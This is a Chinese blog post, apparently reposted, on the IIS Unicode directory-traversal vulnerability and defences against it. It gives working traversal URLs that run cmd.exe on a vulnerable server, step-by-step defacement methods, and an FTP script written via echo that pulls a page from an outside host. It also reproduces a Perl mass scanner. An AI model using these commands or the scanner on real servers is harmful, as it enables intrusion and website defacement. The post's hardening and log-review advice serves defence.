前2天一直在讲网络监听,虽然我觉得很有必要,但好多人都发来消息说没什么太多兴趣。虽然还是很想讲这个,但因为大家有意见,就不说。经过快半个月的学习,我想如果你很认真的在看的话的,我想你的基本功已经很好了.今天开始我会开始由一些详细的***或其他的方法开始说了,有些地方我就不详细说明了,如果有问题可以发贴来问

回到话题,unicode 漏洞是最容易让***者得手的一个漏洞,可以不费吹灰之力将主页改掉,重则删除
硬盘上的数据,高手甚至获取administrator 权限!
漏洞自大前年年10 月份公布至今,居然国内还有这么多的服务器存在着该漏洞

下面我从一般的***手法分析如何做相应的防护对策.
(一)unicode 漏洞的原理
有关漏洞的原理网上已经有很多相关的文章了,我不打算详细说,还是简单的来了解了解
好了!
实际上就是UNICODE 编码存在BUG,在UNICODE 编码中
%c1%1c -〉(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
在NT4 中/编码为%c1%9c .在英文版里:WIN2000 英文版%c0%af
该漏洞是利用扩展UNICODE 字符取代"/"和"\"而能利用"../"目录遍历,故在一台有
unicode 漏洞的服务器ip 后边加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可
以看到主机上c 盘的所有文件及目录.

(二)unicode 漏洞的危害
未经授权的用户可能利用IUSR_machinename 账号的上下文空间访问任何已知的文件。
该账号在默认情况下属于Everyone 和Users 组的成员,因此任何与Web 根目录在同一逻辑
驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆
所能完成的一样。
以上部分内容摘自绿盟!

(三)unicode 漏洞的***手法
1、利用漏洞修改主页
这可能是新手们最兴奋的事情了!每当他们成功地黑掉一个网页后都有一股极大的满足
感.然而黑网页也是最简单的事情。
手段描述一:***者先用扫描工具扫到有漏洞的主机后,在IE 的地址栏里输入http://主机
的ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主机上c 盘的所有文件
了.要查主页放在什么地方的话,可以将后边的dir+c:\换成set ,从返回的错误信息中找到
PATH_TRANSLATED=c:\inetpub\wwwroot 这一句(具体的路径根据具体的情况而定).其中的
c:\inetpub\wwwroot 就是主页所在的地方!接着***者为了避免系统对特殊字符的检测,故将
本地机器的CMD.EXE 程序复制到主机的c:\inetpub\scripts 目录中,这样干起活来就容易多了!
他们查到主页的名字后,就可以利用echo 命令来写入信息,将内容覆盖掉主页文件就把主页
给黑了。
手段描述二:除了上面的土方法外,***者可以将有声有色的黑页替换主页,这样黑得不是
更爽吗?来看看他们是如何做到的。
先在本地硬盘建立个共享文件夹(如gale),把黑页复制进去。照样把cmd.exe 拷贝到目标
的c:\inetpub\scripts 下,名字为gale.exe,映射本地的gale 目录为目标的一个盘(如q:)
把q:里的复制到目标主机的网页目录去。覆盖对方的网页文件,最后断开映射就可以了.
这是利用本地共享目录和映射硬盘的方法替换黑页,如果黑页有背景又有音乐,文件很大,上
传费事,怎么完美一点呢?请看下边。
手段描述三:这种方法也是红客们黑美国、日本的时候最常用的手法。
***者先申请一个免费空间,把做好的黑页上传上去,然后利用echo 命令在目标主机
上建立一个文本文件,写上几行命令,如下:
目标主机ip/scripts/gale.exe?/c+echo+open+你黑页所在的免费空间ip>文本文件名.txt
目标主机ip/gale.exe?/c+echo+你在黑页空间上的帐户>>文本文件名.txt
目标主机ip/gale.exe?/c+echo+密码>>文本文件名.txt
目标主机ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt
目标主机ip/gale.exe?/c+echo+bye>>文本文件名.txt
目标主机ip/gale.exe?/c+ftp+-s:文本文件名.txt
这样***者就可以将黑页从另外一个空间下载到目标主机上,copy 过去覆盖就可以了。
这样***者不受地方的限制,随便什么地方了,比如网吧。

(四)unicode 漏洞的防护措施
说了那么多,现在该转入正题了,下面我来说说防范的措施,这也是从***中总结出来
的一些措施,希望对大家有帮助。
1、打上最新补丁
作为一个网络管理员,为了服务器的安全,需要不停的打上最新补丁,这是比较有效的
方法。但你要记住:在网络上,没有绝对的安全的,道高一尺,魔高一丈,完全相信防火墙和系
统补丁往往是很愚蠢的。
2、冷酷到底,拒人于千里之外
相信到现在还利用unicode 漏洞***的人都是些新手傻瓜们!他们没有确定的***目标,
只是抓个扫描器来乱扫一通,扫到就黑,扫不到就哭的那种。对付扫描器扫出未知的漏洞,
这是管理员的聪明之处。如何躲过扫描器的眼睛呢?请先看看下面一个用perl 写的扫描器代
码吧:
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework in my room.
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c (其他版本的请修改这样的字符)
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts) || die "\nCould not open $hosts: $!";
while ()
{

 
$host[$a] = $_;
chomp $host[$a];
$a++;
$b++;
}
close(IN);
$a = 0;
print "ph34r, scan started";
while ($a < $b)
{
my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
&second()
}
sub second() {
my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url2);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
$a++;
}
代码摘自绿盟。
不知道大家注意到上面长长的两行$url 和$url2 了没有,其实只是简单的字符串处理而
已。于是有以下几种方法避过扫描器的扫描:
①更改winnt 目录名
安装winnt 或者win2000 时,缺省目录是c:\winnt.可以把这个目录名改成别的目录名,
这样扫描器递交"http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\"类似的
url 时就会返回"找不到该页"的信息。这样大部分扫描器就成失灵了。(不知道小榕的流光能
不能躲得过,但大部分的用perl 写的扫描器经这样改了之后都不起作用了)。
安装前就可以这样,但是已经安装了,确实不想改winnt/2000 的目录怎么办呢?那好,可以
看看下边的:
②更改cmd.exe 和各常用命令的名称
更改cmd.exe 的名称也可以达到同样的效果,而且更加可*,假如你只更改winnt/win2000
所在的目录名的话,别人猜对后仍然可以黑掉你。同时把一些不常用的而且有危害的命令改
成只有你知道的名字,①和②结合的话更完美!
③改变web 目录位置
通常主页所在的位置是在C:\InetPub\wwwroot 里。在c:\inetpub 里有scripts 之类的目录。
如果你不需要他们的话,你可以把web 目录转移到别的分区,比如e:\netroot 然后把C:\inetpub
整个删除掉.日本有一台主机就做的比较好,它的机器明明存在有unicode 漏洞,但将web 目录
转移到d 盘,并且d 盘是不可写的,有位新手在QQ 上向我抱怨说:"老大!你说的方法不行呀,
我黑不了!呜呜呜~~",哈!象这样,一般的人就难以修改主页了,(注意:这只能防止一般的人,高
手只要动动脑筋,照样能黑掉!).
④停止不必要的服务
在internet 服务器中,为了系统的安全,您必须停掉所有的缺省web 目录的服务。然后统统
删掉,只保留你所要的,以免招来后患.
⑤改变服务的端口号
在保证不影响访问率的情况下,我们可以把web 服务的端口由80 改成别的,比如108。
因为很多还是利用unicode 漏洞***的人一般都是新手,他们都是拿一个扫描工具扫一个ip
段的,这样做就可以躲避那种扫描一段网段的***者的扫描了。(注意:此方法只能防止这种方
式的扫描,别有用心的***者照样可以通过修改扫描器的插件来实行扫描的.但受***的可能
性已经减低.)
3、限制iusr_server 的权限
上面所说的措施是把***者拒绝于门外,如果真的很不幸,给***者找到门上来了,那
不是死定了?不一定!***者利用UNICODE 漏洞遍历目录时的用户权限是决定于
iusr_server 的权限的,而通常iusr_server 是属于guest 组的。我们只要进一步限制iusr_server
的权限还有可能挽回(对于高手们就不一定这么说了)。
建议如下:采用NTFS 格式的文件系统,将web 目录外所有的访问权限设置为:用户
iusr_server 不可访问!注意:不要给iusr_server 对web 目录有写权限!理由是什么大家都很
清楚!你的主页就是给这样的家伙给黑的,如果他没有写的权限,就象那台日本的主机一样,
一般的新手们就难以下手了。(但是,那些确实是非写不可的地方,如:聊天室或论坛,是
可以适当放开的)。
4、偷吃成功,寻找蛛丝马迹
这就是分析访问日志,一名合格的管理员,应该有经常查看日志的好习惯.日志是非常的
多的,看起来很麻烦,但对于unicode 漏洞的***,只要查看分析web 服务的访问日志就可以
了。扫描器的扫描和已经***完了的动作都会被记录下来,要注意特别留意出现的"cmd.exe"
字眼。

 
最后,我建议:
①管理好你的admin 帐户和密码
因为现在的***新手们虽然是冲着unicode 漏洞而来,但他们的师父们往往推荐他们用小
榕的流光,这是一个强大的漏洞扫描工具.在扫描的过程中,脆弱的管理员帐户和密码(如:帐
户:admin 密码:1234)很容易被猜中,给他们带来了以外的收获.无论怎么强大,流光也是*黑
客字典来暴力破解的,只要你密码复杂就可以避免猜中.长度最好超过8 位,大小写和复杂字符
同时出现,如:g&A$l#e7 这样的密码就很难被猜中,当然,也许我这是废话。现在出现弱口令的机会是不多了

②经常更改管理员的密码
保证只有你自己一个用户出现在管理员组,经常检查有没有可疑的用户。一般的新手都是
学着别人教的招数,在管理员组里增加一个用户,留作后门.从***的角度来说,这是很危险的
做法,但作为管理员不可能没有发现的,(那要看管理员的素质如何了)。

转载于:https://blog.51cto.com/userli/68775

[第16天]IIS UNICODE 编码漏洞相关推荐

  1. 16进制unicode编码转string

    公司有个项目读取身份证信息后得到的是16进制的unicode编码,需要解码后才能显示明文.尝试了网上的一些方法后大部分都是失败的,只有一个能用.以下是代码分享: //Cstring 是MFC中的类,若 ...

  2. java是几位的unicode,下列说法错误的是()。A.Java的字符类型采用的是Unicode编码,每个Unicode码占16位比特B.Java的各种...

    下列说法错误的是().A.Java的字符类型采用的是Unicode编码,每个Unicode码占16位比特B.Java的各种 更多相关问题 [名词解释] 捐躯juān qū [名词解释] 藕断丝连ǒu ...

  3. buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)

    目录 安洵杯2019 easy_serialize_php (反序列化中的对象逃逸) [0CTF 2016]piapiapia(反序列化逃逸) [BJDCTF2020]EasySearch(Apach ...

  4. 程序员趣味读物:谈谈Unicode编码

    2019独角兽企业重金招聘Python工程师标准>>> 这是一篇程序员写给程序员的趣味读物.所谓趣味是指可以比较轻松地了解一些原来不清楚的概念,增进知识,类似于打RPG游戏的升级.整 ...

  5. js中将 整数转成字符,,将unicode 编码后的字符还原出来的方法。

    一.将整数转成字符: String.fromCharCode(17496>>8,17496&0xFF,19504>>8,19504&0xFF,12848> ...

  6. [转]程序员趣味读物:谈谈Unicode编码

    from : http://pcedu.pconline.com.cn/empolder/gj/other/0505/616631_all.html#content_page_1 这是一篇程序员写给程 ...

  7. java: \uxxxx unicode编码

    \uxxxx 其中xxxx表示一个16进制数字 这种格式是unicode码的写法表示一个char字符 \u0022表示第34号的unicode字符 " 双引号 这个是unicode编码 把字 ...

  8. Unicode编码Linux下的转换

    最近得到一份Unicode编码的文件,想转换成utf-8(其实就是想转成非Unicode). 在网上找了很多文章,有很多人把utf-8理解为unicode,搞得乱哄哄的.请记住,下面的段落是讲如何把 ...

  9. 049_汉字Unicode编码范围

    1. Unicode是全球文字统一编码.它把世界上的各种文字的每一个字符指定唯一编码, 实现跨语种.跨平台的应用. 2. 中文用户最常接触的汉字编码是Unicode.中文字符数量巨大, 日常使用的汉字 ...

最新文章

  1. js中 字符串与Unicode 字符值序列的相互转换
  2. 微信公众平台开发(82) 天气预报
  3. redis设置允许远程访问
  4. 解决不同浏览器的css兼容问题
  5. Python 科学计算库 Numpy(一)—— 概述
  6. html5 loader,7种基于GSAP的SVG Loader加载动画特效
  7. 知识图谱(六)——关系抽取
  8. git add 失效
  9. sql backup database备份d盘_SQL数据库备份概述
  10. PHP二开美化版站长技术导航网站源码
  11. HTML(2)--- 简介
  12. java字符串连接效率_关于java:字符串连接中的“+”是否会影响效率?
  13. 删除数据oracle,oracle删除数据
  14. 淘宝天猫页面详情采集API调用展示(APP端商品详情)
  15. app服务器指向dat文件,appdat-系统爱好者
  16. STM32第二十一课(USB SLAVE, HAL)
  17. Opensuse 初学者使用指北?
  18. eBPF/XDP实现Conntrack功能
  19. mysql下载完安装包怎么办_MySQL下载压缩包安装详细过程
  20. 蓝牙耳机+大鼠标垫+笔记本电脑支架

热门文章

  1. 【BZOJ-2599】Race 点分治
  2. java的本地文件操作
  3. 移动端界面中的版式设计原理
  4. 没错,那帮实习生什么都做不好
  5. 【干货】七步,让你的网页表单更亲切
  6. 【pmcaff】挖掘产品痛点的神器:用户角色模型
  7. 基于zookeeper实现系统配置中心
  8. mysql之数据库主从复制配置报错1677
  9. 100道Java基础面试题收集整理(附答案)
  10. Case When ELSE END语句